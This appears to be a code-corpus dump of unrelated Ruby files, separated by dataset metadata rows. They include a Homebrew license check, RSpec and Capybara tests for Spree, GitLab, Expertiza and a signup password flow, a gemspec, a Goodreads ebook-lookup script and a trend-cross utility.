return unless @requirement_messages
return if @requirement_messages.empty?
$stderr.puts @requirement_messages
end
sig { void }
def forbidden_license_check
forbidden_licenses = Homebrew::EnvConfig.forbidden_licenses.to_s.dup
SPDX::ALLOWED_LICENSE_SYMBOLS.each do |s|
pattern = /#{s.to_s.tr("_", " ")}/i
forbidden_licenses.sub!(pattern, s.to_s)
end
forbidden_licenses = forbidden_licenses.split.to_h do |license|
[license, SPDX.license_version_info(license)]
end
return if forbidden_licenses.blank?
return if ignore_deps?
compute_dependencies.each do |dep, _|
dep_f = dep.to_formula
next unless SPDX.licenses_forbid_installation? dep_f.license, forbidden_licenses
raise CannotInstallFormulaError, <<~EOS
The installation of #{formula.name} has a dependency on #{dep.name} where all its licenses are forbidden:
#{SPDX.license_expression_to_string dep_f.license}.
EOS
end
return if only_deps?
return unless SPDX.licenses_forbid_installation? formula.license, forbidden_licenses
raise CannotInstallFormulaError, <<~EOS
#{formula.name}'s licenses are all forbidden: #{SPDX.license_expression_to_string formula.license}.
EOS
end
end
require "extend/os/formula_installer"
| 30.83282 | 115 | 0.676995 |
0895118670f5ded66b77c016c28784fbf15c4b01
| 1,271 |
=begin
#Selling Partner API for Shipping
#Provides programmatic access to Amazon Shipping APIs.
OpenAPI spec version: v1
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.24
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for AmzSpApi::ShippingApiModel::PurchaseLabelsResponse
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'PurchaseLabelsResponse' do
before do
# run before each test
@instance = AmzSpApi::ShippingApiModel::PurchaseLabelsResponse.new
end
after do
# run after each test
end
describe 'test an instance of PurchaseLabelsResponse' do
it 'should create an instance of PurchaseLabelsResponse' do
expect(@instance).to be_instance_of(AmzSpApi::ShippingApiModel::PurchaseLabelsResponse)
end
end
describe 'test attribute "payload"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "errors"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 27.042553 | 102 | 0.753737 |
e2c9f2a5aac9fcf709f0cf5d69b2c0dd6222cb04
| 4,932 |
require 'spec_helper'
describe "viewing products", type: :feature, inaccessible: true do
let!(:taxonomy) { create(:taxonomy, :name => "Category") }
let!(:super_clothing) { taxonomy.root.children.create(:name => "Super Clothing") }
let!(:t_shirts) { super_clothing.children.create(:name => "T-Shirts") }
let!(:xxl) { t_shirts.children.create(:name => "XXL") }
let!(:product) do
product = create(:product, :name => "Superman T-Shirt")
product.taxons << t_shirts
end
let(:metas) { { :meta_description => 'Brand new Ruby on Rails TShirts', :meta_title => "Ruby On Rails TShirt", :meta_keywords => 'ror, tshirt, ruby' } }
let(:store_name) do
((first_store = Spree::Store.first) && first_store.name).to_s
end
# Regression test for #1796
it "can see a taxon's products, even if that taxon has child taxons" do
visit '/t/category/super-clothing/t-shirts'
expect(page).to have_content("Superman T-Shirt")
end
it "shouldn't show nested taxons with a search" do
visit '/t/category/super-clothing?keywords=shirt'
expect(page).to have_content("Superman T-Shirt")
expect(page).not_to have_selector("div[data-hook='taxon_children']")
end
describe 'meta tags and title' do
it 'displays metas' do
t_shirts.update_attributes metas
visit '/t/category/super-clothing/t-shirts'
expect(page).to have_meta(:description, 'Brand new Ruby on Rails TShirts')
expect(page).to have_meta(:keywords, 'ror, tshirt, ruby')
end
it 'display title if set' do
t_shirts.update_attributes metas
visit '/t/category/super-clothing/t-shirts'
expect(page).to have_title("Ruby On Rails TShirt")
end
it 'displays title from taxon root and taxon name' do
visit '/t/category/super-clothing/t-shirts'
expect(page).to have_title('Category - T-Shirts - ' + store_name)
end
# Regression test for #2814
it "doesn't use meta_title as heading on page" do
t_shirts.update_attributes metas
visit '/t/category/super-clothing/t-shirts'
within("h1.taxon-title") do
expect(page).to have_content(t_shirts.name)
end
end
it 'uses taxon name in title when meta_title set to empty string' do
t_shirts.update_attributes meta_title: ''
visit '/t/category/super-clothing/t-shirts'
expect(page).to have_title('Category - T-Shirts - ' + store_name)
end
end
context "taxon pages" do
include_context "custom products"
before do
visit spree.root_path
end
it "should be able to visit brand Ruby on Rails" do
within(:css, '#taxonomies') { click_link "Ruby on Rails" }
expect(page.all('#products .product-list-item').size).to eq(7)
tmp = page.all('#products .product-list-item a').map(&:text).flatten.compact
tmp.delete("")
array = ["Ruby on Rails Bag",
"Ruby on Rails Baseball Jersey",
"Ruby on Rails Jr. Spaghetti",
"Ruby on Rails Mug",
"Ruby on Rails Ringer T-Shirt",
"Ruby on Rails Stein",
"Ruby on Rails Tote"]
expect(tmp.sort!).to eq(array)
end
it "should be able to visit brand Ruby" do
within(:css, '#taxonomies') { click_link "Ruby" }
expect(page.all('#products .product-list-item').size).to eq(1)
tmp = page.all('#products .product-list-item a').map(&:text).flatten.compact
tmp.delete("")
expect(tmp.sort!).to eq(["Ruby Baseball Jersey"])
end
it "should be able to visit brand Apache" do
within(:css, '#taxonomies') { click_link "Apache" }
expect(page.all('#products .product-list-item').size).to eq(1)
tmp = page.all('#products .product-list-item a').map(&:text).flatten.compact
tmp.delete("")
expect(tmp.sort!).to eq(["Apache Baseball Jersey"])
end
it "should be able to visit category Clothing" do
click_link "Clothing"
expect(page.all('#products .product-list-item').size).to eq(5)
tmp = page.all('#products .product-list-item a').map(&:text).flatten.compact
tmp.delete("")
expect(tmp.sort!).to eq(["Apache Baseball Jersey",
"Ruby Baseball Jersey",
"Ruby on Rails Baseball Jersey",
"Ruby on Rails Jr. Spaghetti",
"Ruby on Rails Ringer T-Shirt"])
end
it "should be able to visit category Mugs" do
click_link "Mugs"
expect(page.all('#products .product-list-item').size).to eq(2)
tmp = page.all('#products .product-list-item a').map(&:text).flatten.compact
tmp.delete("")
expect(tmp.sort!).to eq(["Ruby on Rails Mug", "Ruby on Rails Stein"])
end
it "should be able to visit category Bags" do
click_link "Bags"
expect(page.all('#products .product-list-item').size).to eq(2)
tmp = page.all('#products .product-list-item a').map(&:text).flatten.compact
tmp.delete("")
expect(tmp.sort!).to eq(["Ruby on Rails Bag", "Ruby on Rails Tote"])
end
end
end
| 36.264706 | 154 | 0.650852 |
bf8886fc67d241c188c94c5e493d401f33df6dbd
| 2,491 |
require 'OAuth'
# require 'hpricot'
# require 'rexml/document'
require 'nokogiri'
require 'table_print'
# Optional
# require 'yaml'
key = 'your_key'
secret = 'your_top_secret'
user_id = 'your_goodreads_user_id'
consumer = OAuth::Consumer.new(key,secret, :site => 'http://www.goodreads.com')
request_token = consumer.get_request_token
# open this URL in the browser and authorize
request_token.authorize_url
# request 200 per page
uri = URI.parse "http://www.goodreads.com/review/list?format=xml&v=2&id=#{user_id}&shelf=to-read&sort=title&key=#{key}&per_page=200"
response = Timeout::timeout(10) {Net::HTTP.get(uri) }
# doc = Hpricot.XML(response)
# r = REXML::Document.new(response)
# alternately, use Nokogiri
to_read_xml = Nokogiri::XML(response)
# create array of all the titles
# this was for REXML
# titles = r.get_elements('//title')
titles = to_read_xml.search('title').map(&:text)
# get text from elements in array by
# titles[0].text or some such thing
# Now we want to find if SFPL carries the ebook
# for 1984 e-book the URL is
# http://sflib1.sfpl.org/search/X?SEARCH=1984&x=-730&y=-163&searchscope=1&p=&m=h&Da=&Db=&SORT=D
# the important thing is the parameter
# &m=h for e-book
# provide the title variable
# sfpl_uri = URI.parse "http://sflib1.sfpl.org/search/X?SEARCH=#{title}&x=-730&y=-163&searchscope=1&p=&m=h&Da=&Db=&SORT=D"
# sfpl_response = Timeout::timeout(10) { Net::HTTP.get(sfpl_uri) }
# testing...
# you want a hash table key/value pairs are Book Title/Result Boolean
ebook_table = Hash.new
for title in titles
encoded_title = URI::encode title
sfpl_uri = URI.parse "http://sflib1.sfpl.org/search/X?SEARCH=#{encoded_title}&x=-730&y=-163&searchscope=1&p=&m=h&Da=&Db=&SORT=D"
sfpl_response = Timeout::timeout(10) { Net::HTTP.get(sfpl_uri) }
sfpl_doc = Nokogiri::HTML(sfpl_response)
result = sfpl_doc.css("a[name='anchor_1']")
# append to ebook_table(title, result.empty?)
# true means no e-book
# false means e-book!
ebook_table[title] = result.empty?
sleep(1)
end
# buffer error
# Optional: Save hash to yaml
# File.open('ebook_table.yaml', 'w') { |i| i.puts ebook_table.to_yaml }
# Optional: Bring yaml to hash
# ebook_table = YAML::load( File.open('ebook_table.yaml'))
doc = Nokogiri::HTML(sfpl_response)
doc.css("a[name='anchor_1']")
# will return
# [#<Nokogiri::XML::Element:0x3ff5b483b12c name="a" attributes=[#<Nokogiri::XML::Attr:0x3ff5b483b03c name="name" value="anchor_1">]>]
# if not empty, then we've got a hit.
| 30.378049 | 134 | 0.715777 |
4abe6e8c760324446c18b27498c91113048333e3
| 1,756 |
# -*- encoding: utf-8 -*-
# stub: moip 1.0.2 ruby lib
Gem::Specification.new do |s|
s.name = "moip"
s.version = "1.0.2"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib"]
s.authors = ["Guilherme Nascimento"]
s.date = "2010-11-10"
s.description = "Gem para utiliza\u{e7}\u{e3}o da API MoIP"
s.email = "[email protected]"
s.extra_rdoc_files = ["LICENSE", "README.markdown"]
s.files = [".document", ".gitignore", "Gemfile", "Gemfile.lock", "LICENSE", "README.markdown", "Rakefile", "VERSION", "lib/moip.rb", "lib/moip/client.rb", "lib/moip/direct_payment.rb", "moip.gemspec", "spec/moip_spec.rb"]
s.homepage = "http://github.com/moiplabs/moip-ruby"
s.rdoc_options = ["--charset=UTF-8"]
s.rubygems_version = "2.2.1"
s.summary = "Gem para utiliza\u{e7}\u{e3}o da API MoIP"
s.test_files = ["spec/moip_spec.rb"]
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_development_dependency(%q<rspec>, [">= 2.1.0"])
s.add_runtime_dependency(%q<nokogiri>, [">= 1.5.0"])
s.add_runtime_dependency(%q<httparty>, ["~> 0.6.1"])
s.add_runtime_dependency(%q<activesupport>, [">= 2.3.2"])
else
s.add_dependency(%q<rspec>, [">= 2.1.0"])
s.add_dependency(%q<nokogiri>, [">= 1.5.0"])
s.add_dependency(%q<httparty>, ["~> 0.6.1"])
s.add_dependency(%q<activesupport>, [">= 2.3.2"])
end
else
s.add_dependency(%q<rspec>, [">= 2.1.0"])
s.add_dependency(%q<nokogiri>, [">= 1.5.0"])
s.add_dependency(%q<httparty>, ["~> 0.6.1"])
s.add_dependency(%q<activesupport>, [">= 2.3.2"])
end
end
| 40.837209 | 223 | 0.628132 |
0836174cce14f039cc8628ed68f65eaa0d833d0c
| 2,182 |
describe 'AssignmentTeam' do
let(:assignment) { create(:assignment) }
let(:team) { create(:assignment_team) }
describe "#hyperlinks" do
it "should have a valid parent id" do
expect(team.parent_id).to be_kind_of(Integer)
end
it "should return the hyperlinks submitted by the team as a text" do
expect(team.submitted_hyperlinks.size).to be > 0
expect(team.submitted_hyperlinks).to be_instance_of(String)
end
end
describe "#submit_hyperlink" do
before(:each) do
@my_submitted_hyperlinks = team.submitted_hyperlinks.split("\n")
end
it "should not allow team members to upload same link twice" do
expect(@my_submitted_hyperlinks.uniq.length).to eql(@my_submitted_hyperlinks.length)
end
it "should upload only valid links" do
if @my_submitted_hyperlinks.length > 1
@my_submitted_hyperlinks.each do |line|
@url = line[2, line.size]
expect(@url).to match(/\A#{URI.regexp(%w[http https])}\z/) if line.size > 3
end
end
end
end
describe "#has_submissions?" do
it "checks if a team has submitted hyperlinks" do
assign_team = build(:assignment_team)
assign_team.submitted_hyperlinks << "\n- https://www.harrypotter.ncsu.edu"
expect(assign_team.has_submissions?).to be true
end
end
describe "#remove_hyperlink" do
it "should allow team member to delete a previously submitted hyperlink" do
assign_team = build(:assignment_team)
@selected_hyperlink = "https://www.h2.ncsu.edu"
assign_team.submitted_hyperlinks << "\n- https://www.h2.ncsu.edu"
assign_team.remove_hyperlink(@selected_hyperlink)
expect(assign_team.submitted_hyperlinks.split("\n").include?(@assign_team)).to be false
end
end
describe "copy assignment team to course team" do
it "should allow assignment team to be copied to course team" do
course_team = CourseTeam.new
course_team.save!
assign_team = build(:assignment_team)
assign_team.copy(course_team.id)
expect(CourseTeam.create_team_and_node(course_team.id))
expect(course_team.copy_members(course_team.id))
end
end
end
| 34.09375 | 93 | 0.698442 |
6a9fe8d243171f380ee78424921379ccb3b4f3f6
| 374 |
class ArticlesController < ApplicationController
def show
@article = Article.find(params[:id])
end
def new
end
def create
@article = Article.new(article_params)
@article.save
redirect_to @article
end
private
def article_params
params.require(:article).permit(:title, :text)
end
end
| 17.809524 | 58 | 0.604278 |
61b18ce7b2b37c74250df8c4755f37a43d78429a
| 2,032 |
# frozen_string_literal: true
# ===交差状態を判定するユーティリティ
# 先行指標と遅行指標を受け取って、クロスアップ/クロスダウンを判定するユーティリティです。
#
# require 'cross'
#
# cross = Cross.new
#
# # 先行指標、遅行指標を受け取って状態を返す。
# # :cross .. クロスアップ、クロスダウン状態かどうかを返す。
# # - クロスアップ(:up)
# # - クロスダウン(:down)
# # - どちらでもない(:none)
# # :trend .. 現在の指標が上向きか下向きかを返す。
# # 「先行指標 <=> 遅行指標」した値。
# # trend >= 1なら上向き、trned <= -1なら下向き
# p cross.next_data( 100, 90 ) # {:trend=>1, :cross=>:none}
# p cross.next_data( 110, 100 ) # {:trend=>1, :cross=>:none}
# p cross.next_data( 100, 100 ) # {:trend=>0, :cross=>:none}
# p cross.next_data( 90, 100 ) # {:trend=>-1, :cross=>:down}
# p cross.next_data( 80, 90 ) # {:trend=>-1, :cross=>:none}
# p cross.next_data( 90, 90 ) # {:trend=>0, :cross=>:none}
# p cross.next_data( 100, 100 ) # {:trend=>0, :cross=>:none}
# p cross.next_data( 110, 100 ) # {:trend=>1, :cross=>:up}
#
class Cross
# コンストラクタ
def initialize
@cross_prev = nil
@cross = :none
@trend = 0
end
# 次の値を渡し、状態を更新します。
# fast:: 先行指標
# lazy:: 遅行指標
def next_data(fast, lazy)
return unless fast && lazy
# 交差状態を算出
calculate_state(fast, lazy)
{ cross: @cross, trend: @trend }
end
# クロスアップ状態かどうか判定します。
# 戻り値:: 「先行指標 < 遅行指標」 から 「先行指標 > 遅行指標」 になったらtrue
def cross_up?
@cross == :up
end
# クロスダウン状態かどうか判定します。
# 戻り値:: 「先行指標 > 遅行指標」 から 「先行指標 < 遅行指標」 になったらtrue
def cross_down?
@cross == :down
end
# 上昇トレンド中かどうか判定します。
# 戻り値:: 「先行指標 > 遅行指標」 ならtrue
def up?
@trend > 0
end
# 下降トレンド中かどうか判定します。
# 戻り値:: 「先行指標 < 遅行指標」 ならtrue
def down?
@trend < 0
end
# 交差状態( :up, :down, :none )
attr_reader :cross
# トレンド ( 直近の falst <=> lazy 値。)
attr_reader :trend
private
def calculate_state(fast, lazy)
@trend = fast <=> lazy
@cross = if @cross_prev && @trend != @cross_prev && @trend.nonzero?
@trend > @cross_prev ? :up : :down
else
:none
end
@cross_prev = @trend
end
end
| 22.831461 | 71 | 0.562008 |
acf7aeb303a9a827e852dbb7e2bc4fbf6caa4193
| 1,779 |
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Tracking::StandardContext do
let_it_be(:project) { create(:project) }
let_it_be(:namespace) { create(:namespace) }
let(:snowplow_context) { subject.to_context }
describe '#to_context' do
context 'with no arguments' do
it 'creates a Snowplow context with no data' do
snowplow_context.to_json[:data].each do |_, v|
expect(v).to be_nil
end
end
end
context 'with extra data' do
subject { described_class.new(foo: 'bar') }
it 'creates a Snowplow context with the given data' do
expect(snowplow_context.to_json.dig(:data, :foo)).to eq('bar')
end
end
context 'with namespace' do
subject { described_class.new(namespace: namespace) }
it 'creates a Snowplow context using the given data' do
expect(snowplow_context.to_json.dig(:data, :namespace_id)).to eq(namespace.id)
expect(snowplow_context.to_json.dig(:data, :project_id)).to be_nil
end
end
context 'with project' do
subject { described_class.new(project: project) }
it 'creates a Snowplow context using the given data' do
expect(snowplow_context.to_json.dig(:data, :namespace_id)).to eq(project.namespace.id)
expect(snowplow_context.to_json.dig(:data, :project_id)).to eq(project.id)
end
end
context 'with project and namespace' do
subject { described_class.new(namespace: namespace, project: project) }
it 'creates a Snowplow context using the given data' do
expect(snowplow_context.to_json.dig(:data, :namespace_id)).to eq(namespace.id)
expect(snowplow_context.to_json.dig(:data, :project_id)).to eq(project.id)
end
end
end
end
| 31.767857 | 94 | 0.680157 |
188d2ef994840a82232d86eaf435e967297a3b41
| 3,153 |
require 'rails_helper'
feature 'Visitor sets password during signup' do
scenario 'visitor is redirected back to password form when password is blank' do
create(:user, :unconfirmed)
confirm_last_user
fill_in 'password_form_password', with: ''
click_button t('forms.buttons.continue')
expect(page).to have_content t('errors.messages.blank')
expect(current_url).to eq sign_up_create_password_url
end
context 'password field is blank when JS is on', js: true do
before do
create(:user, :unconfirmed)
confirm_last_user
end
it 'does not allow the user to submit the form' do
fill_in 'password_form_password', with: ''
expect(page).to_not have_button(t('forms.buttons.continue'))
end
end
scenario 'password strength indicator hidden when JS is off' do
create(:user, :unconfirmed)
confirm_last_user
expect(page).to have_css('#pw-strength-cntnr.hide')
end
context 'password strength indicator when JS is on', js: true do
before do
create(:user, :unconfirmed)
confirm_last_user
end
it 'is visible on page (not have "hide" class)' do
expect(page).to_not have_css('#pw-strength-cntnr.hide')
end
it 'updates as password changes' do
expect(page).to have_content '...'
fill_in 'password_form_password', with: 'password'
expect(page).to have_content 'Very weak'
fill_in 'password_form_password', with: 'this is a great sentence'
expect(page).to have_content 'Great!'
end
it 'has dynamic password strength feedback' do
expect(page).to have_content '...'
fill_in 'password_form_password', with: '123456789'
expect(page).to have_content t('zxcvbn.feedback.this_is_a_top_10_common_password')
end
end
scenario 'password visibility toggle when JS is on', js: true do
create(:user, :unconfirmed)
confirm_last_user
expect(page).to have_css('input.password[type="password"]')
find('.checkbox').click
expect(page).to_not have_css('input.password[type="password"]')
expect(page).to have_css('input.password[type="text"]')
end
context 'password is invalid' do
scenario 'visitor is redirected back to password form' do
create(:user, :unconfirmed)
confirm_last_user
fill_in 'password_form_password', with: 'Q!2e'
click_button t('forms.buttons.continue')
expect(page).to have_content('characters')
expect(current_url).to eq sign_up_create_password_url
end
scenario 'visitor gets password help message' do
create(:user, :unconfirmed)
confirm_last_user
fill_in 'password_form_password', with: '1234567891011'
click_button t('forms.buttons.continue')
expect(page).to have_content t('zxcvbn.feedback.this_is_similar_to_a_commonly_used_password')
end
scenario 'visitor gets password pwned message' do
create(:user, :unconfirmed)
confirm_last_user
fill_in 'password_form_password', with: '3.1415926535'
click_button t('forms.buttons.continue')
expect(page).to have_content t('errors.messages.pwned_password')
end
end
end
| 29.46729 | 99 | 0.702188 |
5dcfd628317eca2d809ea7efc886360904a23e70
| 163 |
# frozen_string_literal: true
require_relative "m_talk_view_tool/version"
module MTalkViewTool
class Error < StandardError; end
# Your code goes here...
end
| 18.111111 | 43 | 0.785276 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.